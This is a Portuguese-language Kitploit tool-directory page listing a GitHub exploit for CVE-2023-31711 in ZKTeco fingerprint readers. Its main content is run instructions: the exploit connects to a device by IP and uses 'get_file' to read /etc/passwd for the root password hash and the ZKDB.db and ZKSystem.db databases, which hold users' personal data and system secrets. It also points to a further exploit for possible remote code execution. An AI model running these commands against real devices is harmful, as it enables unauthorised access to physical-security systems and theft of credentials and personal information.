Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-31711 — Vulnerabilidade de dia zero no leitor de impressão digital biométrico ZKTEco. | Kitploit
Ferramentas/GitHubGitHub/hritikthapa7/cve-2023-31711
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebExfiltração de DadosColeta de InformaçõesTestes de Penetração
GitHubhritikthapa7/cve-2023-31711

CVE-2023-31711

Vulnerabilidade de dia zero no leitor de impressão digital biométrico ZKTEco.

Ver Repositório
229há 3 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2023-31711

Controle de Acesso Incorreto no ZKTECO permite que invasores remotos leiam qualquer arquivo através da API administrativa.

Instalando módulos necessários

  • Dentro do diretório ZKTEco:
    $ pip install -r ./pyzatt/requirements_dev.txt

Executando o exploit

  • Dentro do diretório ZKTEco:
    $ python exploit.py <ip_address>
    Connected to 10.0.2.25
    (Cmd) get_file <file_name>
    Exemplos:
    get_file /etc/passwd: Revela o hash da senha do root
    get_file /mnt/mtdblock/data/ZKDB.db: Revela informações pessoais identificáveis (PII) de usuários registrados. Para ler o conteúdo, pode ser necessário executar este comando sequencialmente várias vezes até que todo o conteúdo
    seja revelado
    get_file /mnt/mtdblock/data/ZKSystem.db: Revela informações sensíveis relacionadas ao sistema

Créditos

Exploit: https://github.com/ProCheckUp/SafeScan

Módulo Pyzatt: https://github.com/adrobinoga/pyzatt

Nota

Os dispositivos podem ser potencialmente vulneráveis à Execução Remota de Código também através do uso da API administrativa. O exploit mencionado na seção de créditos pode ser um bom lugar para encontrar um teste para isso.

Baixar ferramenta